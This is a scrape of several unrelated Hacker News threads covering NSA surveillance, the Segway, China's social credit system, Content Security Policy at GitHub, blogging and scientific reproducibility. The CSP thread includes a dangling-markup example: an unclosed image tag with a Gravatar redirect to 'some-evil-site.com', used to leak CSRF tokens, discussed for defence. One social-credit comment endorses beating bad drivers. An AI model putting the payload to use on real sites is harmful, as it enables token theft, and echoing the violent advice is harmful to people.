Ask HN: Have the US spying programs negatively affected your US company? - <AUTHOR>

There was a report a while ago saying the US is going to lose $35B because non-US companies would shy away from their data being hoovered by the NSA etc.<p>I'm curious if this was the case, or has the drama died down now and it's back to the status quo. If there are people or companies out there that are US-based and have been affected somehow when dealing with non-US companies, what happened? <comment><USER2> Just this past week, the German government announced they would be canceling a contract with Verizon, as a result of the revelations of spying[0].

[0] [https://news.ycombinator.com/item?id=7951900](https://news.ycombinator.com/item?id=7951900)

<comment><AUTHOR> Thanks. I'm not sure how I missed that one.</comment></comment>


Show HN: API Glossary - <AUTHOR> http://apiglossary.com/

<comment><AUTHOR> In case anyone is wondering the website is updated when GitHub sends a merge or push webhook to our server where a Gulpfile then builds the static site from a Jade template.</comment>


midVentures25 - first Chicago-based startup demo day, 3/11 - <AUTHOR> http://midventures25.com/

<comment><AUTHOR> Congrats and good luck to the 25 startups, here's the list: <http://midventures25.com/?page_id=14>

</comment><comment><USER2> I might be there with GeekStack at one of the side tables (not ready to be one of the main presenters yet).</comment>


Anybody using MonetDB? - <AUTHOR> http://monetdb.cwi.nl/ <comment><USER2> It looks neat, but I'm not sure how performant the updates are. I wish the documentation was a little less complicated.</comment>


Why Segway Failed To Reshape The World - <AUTHOR> http://www.techdirt.com/articles/20090730/1958335722.shtml

<comment><USER2> I sincerely doubt any amount of invention would change the fact that it costs $4,000 and essentially does the same thing as a $140 scooter.

<comment><USER3> It does _less_ than a $140 scooter. A scooter can carry more cargo than a segway, has a greater range, can be refueled at many more locations outside the home, and can be driven on roads.

</comment></comment><comment><USER4> Without having read this or the referenced PG essay beforehand, my thought was that the Segway did not take off because it makes you look like a dork. Similar to a unicycle in that regard. Some people don't care about that; most do and that's the big problem with the device.

</comment><comment><USER5> Great example of the Iron Law of the Market: markets that don't exist don't care how smart you are.

</comment><comment><USER3> The Segway is a good example of the pepsi challenge / demo vs. reality problem. Just because some product comes across favorably in demos doesn't mean that it won't get mugged by cold, harsh reality. There's a huge gulf between "oh my god that is so awesome and cool" and "here's X months of my discretionary spending budget, I want this".

The segway just isn't very practical, regardless of price. Once price is factored in it's a non-starter. It has less speed, range, safety, off-road capability, and cargo capacity as scooters costing 1/10th or less. It can't be used on roads as a scooter or bicycle can. It has roughly the same capabilities as a battery powered skateboard (an incredibly niche vehicle) at an order of magnitude higher price.

Consider that for the price of a segway someone could buy an carbon fiber bicycle (for when you want to exercise), a gas powered scooter (for when range / speed are a necessity), _and_ a battery powered skateboard (when you don't want to contribute to traffic / pollution).

Sure, the segway is based on really amazing technology, but that's utterly irrelevant to practicality. I a motorcycle with an EFI system written in Erlang is still just a motorcycle, how it's made is beside the point.

The fact that the segway could get so far without taking any criticism seriously is a testament to the human abilities in rationalization and group- think.

</comment><comment><USER6> Price!</comment>


China's Social Credit System seeks to assign scores, engineer social behaviour - <AUTHOR> http://www.abc.net.au/news/2018-03-31/chinas-social-credit-system-punishes-untrustworthy-citizens/9596204 <comment><USER2> Terrifying. As much as anything, because I could see how it could be justified. How awesome would it be if that guy who drives like an asshole all the time would actually have that affect his life?

However, of course the system will be used to penalize social dissent and change first and foremost. It would be like the perfect springboard for ad hominem attacks. "He seems to have good points on why local officials should not accept bribes, but he only brushes his teeth once a day."

Just. Terrifying.

<comment><USER3> "How awesome would it be if that guy who drives like an asshole all the time would actually have that affect his life?"

You clearly haven't seen the first post-Netflix Black Mirror episode.

It's a big mistake to expect people (ANY people, government or randoms, does not matter) to use this type of ranking system in a logical, rational way. Most people are unable to make logical and rational decisions. Just look at what people are eating for lunch, let alone who they are voting and WHY.

Basically any ranking system of this type has two fates, depending on who does the ranking (the people or the government):

In case of people doing the ranking, it becomes a popularity contest that rewards what you project of yourself to the external world. Remember, your external projection != you. This is already going on in the context of social media, and has started a de-evolution and demise of our civilization. Nobody cares about their inner selves anymore, and why care if what you project brings you greater rewards from the external world.

In case of government, well, just no. Stalin-type power gripping has never been easier. Someone criticising? Just change a single float variable (the person's score) from say 9.7 to 0.2 and the problem solves itself.

PS. We don't need a ranking system to end someone's asshole-esque driving. Find them, break enough facial bones and make sure they understand it was because of their driving. I promise you that will be the end of it. If not, there are about 44 or 358 solutions that fix the problem for good.

<comment><USER2> I pretty much acknowledge that in my second paragraph.</comment></comment></comment>


Ask HN: What JavaScript library would you like to see that doesn't exist yet? - <AUTHOR>

Or a library/framework that is in desperate need of a better alternative.<p>I am currently looking for ideas for my next open source project <comment><USER2> Something that takes an URL and returns the tag that displays the media. Is this URL to a jpg file, spit a img tag. YouTube video? Iframe. Instagram link? img with the pictures URL.

</comment><comment><USER3> A library that would allow you to share templates between the server and the client. The library would allow you to include a template file and render it on the client. It would allow you to also include the same file and render it on the server.

<comment><USER4> I use <https://github.com/substack/node-fileify>

</comment></comment><comment><USER5> How about a library like RubyMotion[1] for writing native iOS apps in JavaScript/CoffeScript? You could use JSC[2] as your runtime.

      [1] http://www.rubymotion.com/
      [2] http://trac.webkit.org/wiki/JavaScriptCore

<comment><USER6> That's already a thing — it's called JSCocoa[1]. Works for both Mac and iPhone. Doesn't seem to have caught on much, though.

[1]: <https://github.com/parmanoir/jscocoa/>

<comment><USER5> Excellent! I see it dates back to 2008 and I'm glad to see it is still making progress. Perhaps more people consider using this, what with the recent revival of JavaScript front-ends (Backbone, Meteor, etc).

</comment></comment></comment><comment><USER7> I don't know if HTML5 can do this yet, but I'd really like to see a JavaScript client-side RSS reader.

</comment><comment><USER4> 3D physics for node.js/browser</comment>


GitHub's post-CSP journey - <AUTHOR> https://githubengineering.com/githubs-post-csp-journey/ <comment><USER2> The article says CSP seven times in the first two paragraphs without saying what it stands for; it would be much more readable if they did. (It stands for content security policy for those wondering.)

<comment><USER3> At a certain point you need to set a baseline expectation of your audience in order to communicate effectively. Do you think they should also explain exploitation, img-src, the mechanics of parsing unmatched quotes, javascript or CSRF? The target audience of the article knows what CSP stands for and most likely has been reading the other entries along this journey.

<comment><USER4> You are getting downvoted because in complaining we are below your technical baseline, you've ironically revealed you're not familiar with the rather more interesting CSP.

<comment><USER5> As one of the more prominent gophers out there, dfc is quite familiar with communicating sequential processes.

That said, I disagree with his original point. I am a regular HN reader and did not know about content security policy.

<comment><USER6> I did already know about content security policy. I still wasn't certain that's what the article was referring to without reading several paragraphs of the two articles.

</comment></comment></comment></comment></comment><comment><USER7> A very detailed post which talks about their collaboration with security consulting firm Cure53 to identify various fairly novel exfiltration techniques, and attempt to adjust their Content-Security-Policy or some aspect of their application to try to mitigate it. This could be a great resource, and is certainly a valuable 'lessons learned'.

But I was also overwhelmed. There's a quip that security is a losing battle, but that wasn't my takeaway -- rather, the knowledge space required to develop and host a web application that accepts user-generated content in a way that won't leak info apparently everywhere is getting too much for generalist developers working alone or in small teams.

<comment><USER8> They're interesting and often-overlooked techniques, but are not novel. You can read a more about these sorts of attacks and other similar ones in 2011 writeup "Postcards from the post-XSS world"[0]

[0] [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)

<comment><USER9> Indeed, lcamtuf's article was a reference during this effort and was linked to in our CSP post last year: [https://githubengineering.com/githubs-csp- journey/](https://githubengineering.com/githubs-csp-journey/)

</comment></comment></comment><comment><USER10> Tone: I assume GitHub knows what they are doing, and I ask this question because I have a hole in my understanding that I have a professional interest in making sure is filled, not because I'm trying to "gotcha!" anybody or be critical. This article clearly demonstrates they are trying hard and not ignorant.

I don't understand why so much of this article is talking about dangling markup? While I highly recommend using the highest quality library you can get your hands on for this task, cleaning up user-supplied markup to at least be valid HTML is generally not that difficult. Cleaning up every last vector within that valid HTML is much harder and much more subtle; I have fought that fight myself, so I understand the bits about how awful the <plaintext> tag can be and so forth (and how how many other vectors there are for javascript, and how many vectors there are for loading content you didn't want loaded, and how many vectors there are for subtle leaks of information, etc., even within syntactically-valid HTML). But making syntactically-invalid HTML into syntactically-valid HTML that is at least not "dangling" is not that hard, and can be done reliably.

So I assume I'm missing some sort of context here about why they are having so much trouble with this? What's the context where they can't run this sort of syntax cleaner over the user input?

<comment><USER9> Yeah, the missing context is that we are talking about vectors where GitHub would not be sanitizing the input correctly. In other words, vectors that traditionally resulted in XSS. We do exactly as you say in places where we expect user controlled input. For example, all issue/pull request comments are Markdown. And, for security, we go to great lengths to ensure that we only accept a subset of HTML that is safe AND that the resulting HTML is well formed. But, as history has shown, XSS is more or less unavoidable. There are just too many places where it can occur for any application to 100% avoid it. This is at the heart of CSP. Given that history has shown that XSS was unavoidable, the idea was to add a browser feature as a second line of defense. So, the article is written from the perspective that traditional XSS is neutered (the whole "scripting" bit of XSS is gone) using CSP. So, given that, what might an attacker be able to do without injecting any JavaScript? This is the origin of "scriptless attacks". Dangling markup is the most popular technique for exploiting a scriptless attack. So, it isn't that GitHub would be failing to create well formed HTML. It would be a scenario where an attacker would traditionally like to have injected a `<script>` tag, but is no longer able, so they must go to the next best thing...dangling markup.

<comment><USER11> XSS is unavoidable if you think the solution is sanitizing user input.

The solution to sql injection is parametrized query construction, instead of automatically filtering the ' character and then pasting the template and the user input together.

Similarly, to avoid cross site scripting you have to combine your templates and user input by escaping it properly, instead of just concatenating them and then hoping you can avoid the issues by input 'sanitizing'.

</comment></comment></comment><comment><USER12> Awesome article and thumbs up to github.

I'm having great reservations towards CSP however. I think it breaks the web in a way that wouldn't have been necessary had we been a little bit more careful about HTML syntax rather than dismissing markup validation as an obsolete technique back when the vulgar "HTML 5 rocks" campaigns were in full swing.

CSP spec drafts have been around forever but were never finalized. CSP basically blocks execution of JavaScript in script tags in content (as opposed to script in the header), as well as in content handler attributes (onclick and co.) by disabling those alltogether on a page. This totally breaks page composibility where you assemble content at the markup stream level from multiple sources, like, say on every single news aggregation site. The removal of scoped CSS styles from HTML similarly breaks composition.

From Chrome's Content Security Policy page:

[Blocking inline script] does, however, require you to write your code with a clean separation between content and behavior (which you should of course do anyway, right?)

I think this comment is totally clueless wrt. what the Web is about. "Separation of concerns" is most certainly _not_ a characteristic of the Web, and never has been.

I'm sorry, but rather than using kludges such as CSP to turning the lights off with a broad brush, how about fixing HTML and JavaScript in the first place?

(note my comment isn't addressed at github but at web standard comitees)

[1]: [https://developer.chrome.com/extensions/contentSecurityPolic...](https://developer.chrome.com/extensions/contentSecurityPolicy)

<comment><USER10> "I'm sorry, but rather than using kludges such as CSP to turning the lights off with a broad brush, how about fixing HTML and JavaScript in the first place?"

OK... how?

To be clear, I'm asking for an HN-comment level of detail, not a standards- body level of detail. I can't speak for everyone else on HN but I won't go over things with a fine-tooth comb, I'll only look at top-level issues.

But I will at least point out that being able to casually float third-party content into any site that has a weakness to XSS or man-in-the-middle or vulnerabilities in any _other_ third-party content in the website is pretty fundamental. The fundamental composition power of the web is too powerful and it is going to have to be cut back. Some of the obvious solutions like "whitelisting hashes of valid content" have their own problems, like how a lot of the scripts being included out there are deliberately not constant and that's their whole point in the first place.

<comment><USER12> 1\. Defining and using safe JavaScript subsets (in the style of Google's Caja [3] and AdSafe [4], though probably that ship has sailed and cramming syntax sugar into JS is the order of the day instead)

2\. Defining and using safe CSS subsets (with countermeasures against click- jacking/-phishing, and hiding "nose print" etc.) though granted this is challenging; I had hoped a formal semantics for CSS came along (such as in [2]) but it didn't

3\. Using HTML-aware template engines (such as [1] but there are maybe lighter approaches with hard-coded HTML rules as well; disclaimer: my project)

[1]: [http://sgmljs.net/blog/blog1701.html](http://sgmljs.net/blog/blog1701.html)

[2]: [https://lmeyerov.github.io/projects/pbrowser/pubfiles/extend...](https://lmeyerov.github.io/projects/pbrowser/pubfiles/extended.pdf)

[3]: [https://developers.google.com/caja/](https://developers.google.com/caja/)

[4]: [http://www.adsafe.org/](http://www.adsafe.org/)

</comment></comment></comment><comment><USER13> Note: "CSP" = Content-Security-Policy as defined here: [https://en.wikipedia.org/wiki/Content_Security_Policy](https://en.wikipedia.org/wiki/Content_Security_Policy)

</comment><comment><USER14> If all browsers sent the "Origin" HTTP header [1] with POST requests (such that web applications could rely on it) then CSRF [2] tokens mentioned in the article would become obsolete. You'd just have to check whether the "Origin" header sent by the browser is identical to your scheme + domain name (e.g. "[https://www.example.com"](https://www.example.com")) and be done. Chrome and Safari have implemented the "Origin" header long ago but unfortunately Firefox [3] and Edge [4] have not yet done so.

The "Origin" header is similar to the "Referer" header but never contains the path or query. Furthermore, CSRF protection requires it only for "POST" requests (i.e. "GET" requests are unaffected). So there is little incentive for an option disable it for privacy concerns.

[1] [https://tools.ietf.org/html/rfc6454](https://tools.ietf.org/html/rfc6454)

[2] [https://en.wikipedia.org/wiki/Cross- site_request_forgery](https://en.wikipedia.org/wiki/Cross- site_request_forgery)

[3] [https://bugzilla.mozilla.org/show_bug.cgi?id=446344](https://bugzilla.mozilla.org/show_bug.cgi?id=446344)

[4] [https://developer.microsoft.com/en-us/microsoft- edge/platfor...](https://developer.microsoft.com/en-us/microsoft- edge/platform/issues/10482384/) (filed by me)

<comment><USER15> The Origin header is not as good to prevent CSRF since it's a known value. A CSRF token is a one-time value generated in the server, it's impossible to guess or get a valid one from the outside.

<comment><USER14> CSRF protection is not about attacks from evil clients (you can easily spoof any header with the HTTP client library of your choice, of course). CSRF protection is about preventing innocent / well-behaving clients from being tricked into POSTing some data on behalf of their (logged-in) user.

<comment><USER15> Yes. Forwarding a unique CSRF token from the backend gives you some assurance that it's a legitimate request, initiated from a pageview within a timeframe. A header (origin) which always has the same value (the hostname) is inherently less secure, though I overstated how much in the previous comment.

</comment></comment></comment></comment><comment><USER16> Can someone explain more about how the Gravatar example would work? How would the attacker embed a dangling markup on Github.com? If they could do that, couldn't they just use a standard XSS attack by embedding arbitrary HTML?

<comment><USER17> CSP mitigates the risks of XSS attacks.

If you look at : [https://cspvalidator.org/#url=https://github.com](https://cspvalidator.org/#url=https://github.com) you'll see that the CSP policy directive defines the origins from which images can be loaded

        'self' data: assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com ;

Previously, images could have been loaded from additional domains (gravatar) and could have been used to leak CSRF tokens.

<comment><USER18> What I don't understand is how the image URL ends up in a non-closed img src attribute. They might be getting the URL from a third party:

      https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f

But GitHub is the one opening and closing the tag, probably in some kind of template:

secret

Which should result in this:

secret

and not this:

      <img src="https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f

secret

Any idea why they are getting the latter?

<comment><USER9> Yes, the attack assumes a content injection bug in GitHub.com. The attack is not using our own gravatar URL generation against us; it is the attacker crafting an arbitrary URL and using that URL inside of an arbitrary image tag. The reason for the attacker being "forced" to use a gravatar URL is that it was one of the very few third-party hosts we previously allowed by our CSP policy. So, the attack demonstrates how this previously allowed host could be used to exfiltrate sensitive content if/when an attacker found a way to inject arbitrary HTML into a page on GitHub.com.

</comment></comment></comment></comment><comment><USER19> While I'm not a security expert, seeing the various ways that someone can steal info from a site even after all the protections GitHub put into place was fascinating, and does bring back the old concern: if a site as large and respected as GitHub has to do all this work and still encounters exploits, what can an average person do who might run ad scripts, a tracking script, and a few helper scripts from various sites? And how can tools try to put in more protections for average folks (cough, wordpress)?

If you liked this, btw, worth reading some content from their pentester [https://cure53.de/](https://cure53.de/) which also had some interesting findings and links.

</comment><comment><USER20> CSP is more of a landmine than we give it credit for. It tripped up Troy Hunt:

[https://www.troyhunt.com/how-chromes-buggy-content- security-...](https://www.troyhunt.com/how-chromes-buggy-content-security- policy-implementation-cost-me-money/)

I had a very similar experience, and I'm still hunting for the specifics of the browser that caused it in my case.</comment>


Ask YC: To blog or not to blog? - <AUTHOR>

Is it worth it to have a personal blog? What are the benefits and drawbacks of having a personal blog? <comment><USER2> Just look at how Paul does it. He calls them "Essays" of course but it seems to be a really good model. He never posts anything just to post it, and so sometimes there are large intervals between posts. Everything he does post seems very insightful and helps us understand where he and YCombinator are coming from.

I'm much more impressed by this from, even with the large interval between posts than the _"today my cat hoarked on the rug again..."_ kind of blog.

<comment><USER3> Jacob Nielsen agrees with you: "Write articles not blog postings" -- <http://www.useit.com/alertbox/articles-not-blogs.html>

</comment></comment><comment><USER4> Benefits:

\- Having your thoughts/opinions online

\- Discussions with readers can be valuable

Drawbacks:

\- Taking the time to author original, thought provoking and/or informative posts. When blogs echo or summarize other posts, without any added thoughts/opinions/etc, they suck

\- Keeping it up-to-date i.e. Wordpress upgrades, etc

<comment><USER5> "Taking the time to author original, thought provoking and/or informative posts ..."

But maybe you should do this sort of thing just because is good for you in the first place (as opposed to good for your blog/PR). Write down and develop your thoughts on paper, just as you do with code/pseudocode. Then once you have something worthy, publish/share it.

<comment><USER4> Goot pt. Wanted to say this as well, just couldn't find the words.

</comment></comment></comment><comment><USER6> You know, the best thing about having a blog is how it kind of acts like a journal (I think that Jeff Atwood of codinghorror said this).

I look back to some old stuff that I've written and I am continually mortified by either my writing style or what I thought was important.

The negative is that people will read your blog and what's that old saying, "better that people think you're dumb than you open your mouth and prove it"

</comment><comment><USER7> I've tried blogging 2 or 3 times. Right now I post on my blog every month or so. The problem with me is that I eventually run out of ideas and the blog feels more like work than a pass time.

But I think that may just be me...I'd say go for it, what do you have to lose besides a little time?

</comment><comment><USER8> My blog has been a godsend. For me, as a hacker writing about hacking, it has opened doors, made introductions, answered questions, and sharpened my thought.

Biggest drawback is that the really bad ideas get archived on the intertron forever, along with the rare nuggets of gold.

</comment><comment><USER9> If you mean personal blog that is a password-protected, private blog, yes, it's worth it. I track my progress in all kinds of areas, diary-style in a blog. It's easier than trying to hand-write a diary and you can mine stories from the jotted-down experiences.

</comment><comment><USER10> It's definitely good. the real question can you keep up at it? Sometimes I'm too ADD to keep blogging. Twitter on the other hand, I use all the time. Much easier to get thoughts out. Right now, my personal domain just feeds in my tweets lol.

</comment><comment><USER11> Regular blog postings would divert too much time from hacking.

Not posting regularly would be unfair to my readers (if I could keep any).

So I come here instead.

</comment><comment><USER12> they are easy to make. just make one when you have an idea you want to post. post again next time you have an idea you want to post. the drawback of not doing this is deleting those potential posts for no reason.</comment>


Jeff Hunter: Embracing Confusion [video] - <AUTHOR> https://www.youtube.com/watch?v=ICe-Ivr7cyk <comment><USER2> is this totse Jeff Hunter?</comment>


Science Isn't Broken - <AUTHOR> http://fivethirtyeight.com/features/science-isnt-broken/ <comment><USER2> Science is not broken, but the scientific process is severely misrepresented. I can only really speak about physics, but at least there and I believe also in other fields, people do experiments, observations etc. and then write papers on whatever they did. The papers are intended for a highly specialized audience and contain a lot of detail besides some claim and a p value and there are usually quite a few closely related papers. Actually I sat in more than one conference session where every single talk had the title "The X-ray spectra of NGC XXXX." Then someone will write a review article on the field. And that person is highly specialized, has probably read hundreds of papers in the field over the last decade(s) and has hands on experience. That guy knows that if there is no mention of X in the methodology section, then the authors did not deal with X, which may or may not be justifiable. After that someone writes a textbook, that guy will read several review papers, and he has probably enough experience to know that a sentence like "compare the contradictory results of Y" is a indication that he should look into the actual papers and perhaps use very cautionary language or omit the topic entirely. At that point, when it appears in textbooks, a result is settled science, not when the first indications appear in a paper.

On the other hand, science writes want a headline "Something baffles scientists." Well, the scientists are probably baffled because it contradicts their intuition, which is a strong indicator that something is not really working. This something may be a honest mistake by the authors, a poorly understood experimental effect, outright fraud or it may be something worth reporting. The entire process of science writing is geared towards the papers which are most likely to be wrong.

<comment><USER3> I agree with what your saying. However, I feel publish or perish has infected many fields resulting in a lot of crap instead of more focused high quality work. Few people can risk spending 10 years on something and have nothing to show for it.

It's a negative feedback loop where quality is hard for people outside the field to judge. So, it's just race to see who can lower quality more while still being published.

<comment><USER4> > Few people can risk spending 10 years on something and have nothing to show > for it.

This is a common sentiment, and fortunately for scientists I don't think it's a very accurate description of the real problems we face. I really don't think that there are many good reasons to spend 10 years on _one thing_ when there is a substantial risk of failure. Scientists spend 10 years on problems all the time! But it's either part time, or has measurable metrics for progress along the way that can be published. I mean, you try to go to the moon before Pluto, right? Science (as an institution) is really a lot more like Tetris than people think, except some of the blocks (publications) get moved or destroyed later. But if the blocks are smaller, they're much easier to fit together and build upon, and fault tolerant and so forth, so if they blow up it's less of a big deal. Smaller, more well-defined and robust studies are generally better.

To change analogies to paths instead of blocks, which is a better description of the decision making a scientist goes through (rather than building the edifice of human knowledge), it's a lot more like finding your way through a new city than choosing two paths in a snowstorm that will not encounter anything for 10 years' walk. At every fork, you have to decide where to go and there will be some reason you have made that choice. After some smaller period, you can if you choose report where you've gotten and why. Other people care! They will be happy to read about it, as long as your logic is pretty good, especially if you make nice observations along the way. You can publish this, and probably no one will steal it from you. Maybe someone will... but if you do it right, do it incrementally and let people know what you're up to, you'll at least have your batshit ideas published as unreviewed abstracts and folks will know who made the first progress.

<comment><USER3> Let's say you want to study long term impacts of taking Viagra which is clearly going to take some time. Sure, you could look at old data, but that always has issues. So, you get funding, start some research, and want to publish something when your done.

Option A: Pick just one thing to look at say cardiovascular health.

Option B: Collect a lot of data, and then look for trends.

Option B has much stronger risks of false positives simply because your looking at more factors, but those false positives seem much more interesting which helps you get published. Worse you can't use any of that data for verification, so you now need to run another 10 year study. Upside, you got published, downside, your results are almost meaningless. Bigger upside, you then get to publish again in 10 years.

Well what about option C use approach B but publish sooner. Now your not only risking false positives, but also extrapolating from more limited data.

Hmm, guess what say nutritionists are going to pick... "Chocolate good/bad for you!"

</comment></comment></comment></comment><comment><USER5> I feel like every description of the problem of p-values I read is missing the real issue. And that's that people are using the p-value incorrectly.

A fairly standard definition of the p-value (from wikipedia) says: "In statistics, the p-value is a function of the observed sample results (a statistic) that is used for testing a statistical hypothesis. Before the test is performed, a threshold value is chosen, called the significance level of the test, traditionally 5% or 1% and denoted as α."

What this description is missing though is the crucial importance of the fact that the threshold value is chosen _before_ doing the analysis. And moreover, that the entire _analysis_ plan has been chosen before doing the analysis. Because what the p-value is really telling you is the probability that on repeating the experiment (and its accompanying analysis!) you would see a result as or more extreme than what you observed.

If your experiment comprises "try all of the combinations of variables to see what gives me the best answer", the p-value you compute would need to be some very fancy test that took that into account... and you would see your analysis as having _much_ less statistical power.

For a simple example, look at a statistically rigorous method for dealing with multiple hypothesis testing when you plan it in advance: [https://en.wikipedia.org/wiki/Bonferroni_correction](https://en.wikipedia.org/wiki/Bonferroni_correction).

Of course p-hacking is bad. The problem isn't frequentist statistics or p-values though, its scientists not understanding the statistics that they use. If you want to use a p-value to help make a decision about a hypothesis, you have to commit to your analysis plan _in advance_.

edit: Furthermore, p-values were designed to deal with experimental data. If you're doing an observational study, perhaps you should use statistical tools designed for that purpose.

To sum up: when you have people who have no idea what they're doing do statistics, they will do it badly.

<comment><USER6> > Because what the p-value is really telling you is the probability that on > repeating the experiment you would see a result as or more extreme than what > you observed.

That's incorrect. If you perform the exact same experiment twice, the chances are exactly 50% that the first result is more extreme than the second one (neglecting equal outcomes).

This illustrates nicely how hard it is to properly explain the p-value. Things would be more intuitive if people would report confidence intervals. I prefer "x is with a likelihood of 95% between a and b" a thousand times over "we measured x=c and reject the null hypothesis with 95% probability".

<comment><USER7> > the chances are exactly 50% that the first result is more extreme than the > second one

The chance is 50% if you condition only on the information you have before doing either experiment. But once you've done the first experiment, the chance of a more extreme result _given what happened the first time_ may be much more or much less.

(Extreme example: Your experiment consists of rolling ten ordinary 6-sided dice. The null hypothesis is that they're fair dice, fairly rolled, in which case you expect a total not too different from 35 pips. All the dice come up 6. It is not now true that if you run the experiment again, you're as likely to get a more extreme result as you are to get a less extreme one!)

> confidence intervals [...] "x is with a likelihood of 95% between a and b"

But that isn't what a confidence interval means! A 95% confidence interval [a,b] means "If we ran the experiment lots of times, using the same method of computing the interval [a,b] each time, then in 95% of runs (in the long run) the true value would be in the interval [a,b] obtained on that run".

(What you described is what Bayesians call a "credible interval". Of course that interval depends on your prior.)

<comment><USER6> > in 95% of runs (in the long run) the true value would be in the interval > [a,b] obtained on that run

So 95% of the runs produce an interval that includes the true value. Doesn't that imply that when doing one run, there is a 95% chance of the resulting interval including the true value? I.e. the probability is 95% that the true value is in the interval?

<comment><USER8> Not really. For example, following a procedure which behaves well in the long run and provides 95% coverage you could get a confidence interval that contains only impossible values. Consider also the following example: you want to estimate x from two random numbers taken uniformly from the interval[x-1,x+1]. The interval defined by the two random numbers is a 50% confidence interval (half of the times x will be in the middle of the two). However, for some specific realizations (when the distance between the numbers is grater than one) you will be able to say with certainty that the interval contains x. See also [https://github.com/richarddmorey/ConfidenceIntervalsFallacy](https://github.com/richarddmorey/ConfidenceIntervalsFallacy)

<comment><USER6> Thanks, you are right. I thought I understood confidence intervals, but apparently I did not.

</comment></comment></comment></comment></comment></comment><comment><USER9> I think it'd be cool if there was a rogue batman scientist on the loose, self or publicly funded, who'd go around cleaning up the streets by replicating and forcing retractions.

Why batman? Because he had to fight cops just as often as baddies. Not that the current system is necessarily corrupt, but that our current system is almost as blind when it comes to recognition of good science. Our current system is a bit, well, dumb.

<comment><USER10> You'd need a rogue in each specialty - I'm also guessing that replicating studies doesn't lead to tenure or papers in Nature.

<comment><USER9> Batman doesn't care about tenure.

</comment></comment></comment><comment><USER11> From the article:

> some people have begun to ask: "Is science broken?" > I've spent many months > asking dozens of scientists this question, and the answer I've found is a > resounding no.

News at 11: cognitive dissonance is a thing.

<comment><USER12> Science's old and new fruits benefit the lives of almost everyone on the planet every day and revolutionary new technologies, therapies and knowledge are created faster than ever before. It's accelerating, not slowing down and certainly not stopping. So it's not very broken.

Things can certainly improve, and they usually do, perhaps a bit gradually. Take a long view. Science is funded by the public and not the church these days for example. But 'broken'? Not really.

Edit: and non-scientists are very quick to think they know the problems and offer solutions. Working scientists are actively discussing the problems and trying things out all the time. These are not the dumbest people you'll meet. The current model is a bit like democracy - it's the worst system apart from all the other things we've ever tried.

To be clear: I'm not an apologist and I'm not sweeping troubles under the rug. It's just that it is complicated, we're working on it, and it is currently much too productive to be called broken. We have to be careful not to break it.

<comment><USER13> We don't expect insiders to objectively improve most social systems (politics, business, education, defense, etc). Why should we expect scientists to fix science (as opposed to just pushing the system to serve the insiders)?

<comment><USER12> We do expect insiders to improve those systems. Why would outsiders know what needs done?

<comment><USER14> We would like them to, but it's reasonable not to expect them to.

</comment></comment></comment></comment></comment><comment><USER15> I think there needs to be a classification system for the "rigor" of studies. A low rigor rating doesn't mean bad science; it just means that the topic is very complex and difficult to study.

For instance, studies that compute the gyromagnetic ratio of the electron (to 10 decimal places no less) and then compare that against the experimentally obtained value would be classified as "high rigor". Studies that assess whether watermelon is linked to heart disease would be "low rigor".

The question now is how to come up with a rigorous classification system...

<comment><USER16> Rigor is a loaded word, but otherwise I love the proposal. Maybe call it confidence instead, or something?

I'd love this to extend to pursuits outside of science too, ranging from "mathematical result verified with multiple proof assistants" to "this thing I made up and argued persuasively". Unfortunately, most of my arguments for why Haskell is the best language would fall dangerously close to that end of the spectrum :P.

</comment></comment><comment><USER14> That made a pretty convincing argument that it's broken, followed by thoroughly unconvincing, hand-wavey, claim to victory because "we eventually muddle through."

</comment><comment><USER17> I like this summary of the evidence that most published research is false[1]:

-"One of the hottest topics in science has two main conclusions:

      Most published research is false

      There is a reproducibility crisis in science

The first claim is often stated in a slightly different way: that most results of scientific experiments do not replicate."

\- [Ioannidis'] "Paper: Why most published research findings are false.

      Main idea: People use hypothesis testing to determine if specific scientific discoveries are significant. This significance calculation is used as a screening mechanism in the scientific literature. Under assumptions about the way people perform these tests and report them it is possible to construct a universe where most published findings are false positive results.

      Important drawback: The paper contains no real data, it is purely based on conjecture and simulation."

\- then it summarises in the same way 7 other papers, including the Many Labs results.

-"I do think that the reviewed papers are important contributions because they draw attention to real concerns about the modern scientific process. Namely

      We need more statistical literacy
      We need more computational literacy
      We need to require code be published
      We need mechanisms of peer review that deal with code
      We need a culture that doesn't use reproducibility as a weapon
      We need increased transparency in review and evaluation of papers"

\- the final paragraph:

"The Many Labs results suggest that the hype about the failures of science are, at the very least, premature. I think an equally important idea is that science has pretty much always worked with some number of false positive and irreplicable studies. This was beautifully described by Jared Horvath in this blog post from the Economist. I think the take home message is that regardless of the rate of false discoveries, the scientific process has led to amazing and life-altering discoveries."

[1] [http://simplystatistics.org/2013/12/16/a-summary-of-the- evid...](http://simplystatistics.org/2013/12/16/a-summary-of-the-evidence- that-most-published-research-is-false/)

</comment><comment><USER18> Science and modern capitalistic thinking do not work well together.

Most people in business view any sort of rigorous research as a "cost" center. And this thinking has diffused into government too.

On the other hand marketing and advertising produces the most value for dollar. Why ?

In a market those activities generate new demand - something that a capitastic system needs in order to survive.

Why spend 20 years doing research while we could spend 1 year aggressively expanding our market. Even a 1% growth would he worth it given a 0% growth if the money was spent doing research.

I like that rather than villify a single person Nate silver points the finger at the system. This type of thinking is where we should all be heading towards.

<comment><USER19> On the contrary, only free markets generate enough surplus capital for it to be invested in long term research. Planned and managed economies don't generate enough production to even feed and supply their existing populations well.

It's a false dichotomy to say that you can only choose between 20 year research and 1 year marketing. Plenty of private money goes into research with long term payoff. There are private companies engaged in fusion research, because the payoff is huge if it is achieved. Even the public money that goes into publicly funded research comes from private earnings in the first place. So science and free markets are absolutely suited to each other. That's before we even start discussing corruption of objectives in totalitarian states, based on leaders whims (ie, Nazi science research, Lysenko etc)

<comment><USER20> "Planned and managed economies don't generate enough production to even feed and supply their existing populations well."

Sorry to tell you but capitalist society as it exists is planned and managed economy. Large corporations are command economies.

You should see what science has discovered about the brain:

[https://www.youtube.com/watch?v=PYmi0DLzBdQ](https://www.youtube.com/watch?v=PYmi0DLzBdQ)

<comment><USER19> If you truly believe that you live in a planned economy there is absolutely nothing more I can add.

<comment><USER20> What do you think copyright, IP and patent law is? AKA you have the money to change the rules of the game.

